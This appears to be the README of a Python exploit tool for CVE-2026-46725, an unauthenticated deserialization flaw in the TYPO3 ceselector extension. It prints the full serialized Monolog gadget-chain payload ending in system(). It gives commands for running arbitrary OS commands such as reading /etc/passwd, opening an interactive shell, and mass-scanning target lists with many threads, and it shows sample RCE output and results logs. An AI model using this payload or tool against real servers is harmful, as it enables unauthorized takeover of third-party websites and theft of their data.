CVE-2026-46725 — TYPO3 ceselector Extension RCE

PHP Object Injection via unserialize() Cookie Bypass → Remote Code Execution

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📋 Table of Contents

• About the Vulnerability
• Technical Details
• Requirements
• Installation
• Usage
• Examples
• Output Format
• How It Works
• References
• Legal Disclaimer

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🔍 About the Vulnerability

Field	Detail
CVE ID	CVE-2026-46725
Product	TYPO3 ceselector Extension (mmc/ceselector)
Affected Version	<= 1.1.3
Vulnerability Type	Insecure Deserialization (PHP Object Injection)
CVSS Score	9.8 Critical
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-502 (Deserialization of Untrusted Data)
EPSS Score	0.0046 (%64.3 percentile)
Authentication	Not required (Unauthenticated)
Impact	Full RCE — Complete system control
Researcher	DhiyaneshDk

Description

The TYPO3 ceselector extension passes the cookie value named T3_ceselector_* directly to the unserialize() function without any validation. An attacker can place a specially crafted PHP Object Injection payload into this cookie to execute arbitrary commands on the server.

⚠️ Prerequisite: For the vulnerability to be exploited, the Persistent Mode: Static setting must be enabled in the TYPO3 configuration.

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🔧 Technical Details

Attack Flow

1. GET /  →  Server returns Set-Cookie: T3_ceselector_<id>=<value>
2. GET /  →  Cookie: T3_ceselector_<id>=<PAYLOAD>
             └─ PHP unserialize() triggered
             └─ Monolog Gadget Chain executed
             └─ system("id") output reflected in response

Gadget Chain

Monolog\Handler\GroupHandler
  └─ Monolog\Handler\BufferHandler
       └─ Monolog\LogRecord (buffer)
            └─ processors: [get_object_vars, end, system]
                 └─ system("<CMD>")  ← RCE

Payload Structure

O:28:"Monolog\Handler\GroupHandler":1:{
  s:11:"*handlers";a:1:{
    i:0;O:29:"Monolog\Handler\BufferHandler":6:{
      s:10:"*handler";r:3;
      s:13:"*bufferSize";i:1;
      s:14:"*bufferLimit";i:0;
      s:9:"*buffer";a:1:{
        i:0;O:17:"Monolog\LogRecord":2:{
          s:5:"level";E:19:"Monolog\Level:Debug";
          s:5:"mixed";s:2:"id";   ← OS command here
        }
      }
      s:14:"*initialized";b:1;
      s:13:"*processors";a:3:{
        i:0;s:15:"get_object_vars";
        i:1;s:3:"end";
        i:2;s:6:"system";   ← sink
      }
    }
  }
}

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📦 Requirements

• Python 3.8+
• requests library

Python >= 3.8
requests >= 2.28.0

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⚙️ Installation

# Clone the repo
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725

# Install dependencies
pip install requests

# Or with requirements.txt
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

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🚀 Usage

usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
                      [-t N] [--timeout S] [--proxy URL]
                      [-o FILE] [-v] [--no-color]

options:
Target:
  -u, --url URL       Single target URL
  -l, --list FILE     Target list (URL per line)

Exploit:
  -c, --cmd CMD       OS command to execute (default: id)
  -i, --interactive   Open interactive shell after successful exploit

Scanning:
  -t, --threads N     Number of threads (default: 10)
  --timeout S         Timeout in seconds (default: 15)
  --proxy URL         Proxy (e.g., http://127.0.0.1:8080)

Output:
  -o, --output FILE   Output file
  -v, --verbose       Verbose output
  --no-color          Disable colored output

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📌 Examples

Single Target — Basic Usage

python CVE-2026-46725.py -u https://typo3-site.com

Execute Custom Command

python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"

Interactive Shell

python CVE-2026-46725.py -u https://typo3-site.com --interactive

typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit

Bulk Scanning

# Scan with 20 threads, save results
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt

# 30 threads, custom command
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"

With Proxy (Burp Suite)

python CVE-2026-46725.py -u https://typo3-site.com \
  --proxy http://127.0.0.1:8080 -v

targets.txt Format

https://site1.com
https://site2.com
http://site3.com
site4.com

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📊 Output Format

Terminal Output

① TYPO3 & ceselector Detection
────────────────────────────────────────────────────
· TYPO3             ✓ Detected
· ceselector        ✓ Active
· Cookie Name        T3_ceselector_48291
· TYPO3 Version       12.4.3

② Payload Preparation
────────────────────────────────────────────────────
· Technique            PHP Object Injection → Monolog Gadget Chain
· Gadget            Monolog\Handler\GroupHandler
· Sink              system()
· Command             id

④ RCE Output
────────────────────────────────────────────────────
┌─ RCE OUTPUT ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────

Log File (results.txt)

============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Date: 2026-05-26 17:30:00
============================================================

[+] RCE OBTAINED TARGETS (2)
----------------------------------------
URL        : https://typo3-site.com
Version      : 12.4.3
Cookie     : T3_ceselector_48291
Command      : id
Output      : uid=33(www-data) gid=33(www-data) groups=33(www-data)

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🔬 How It Works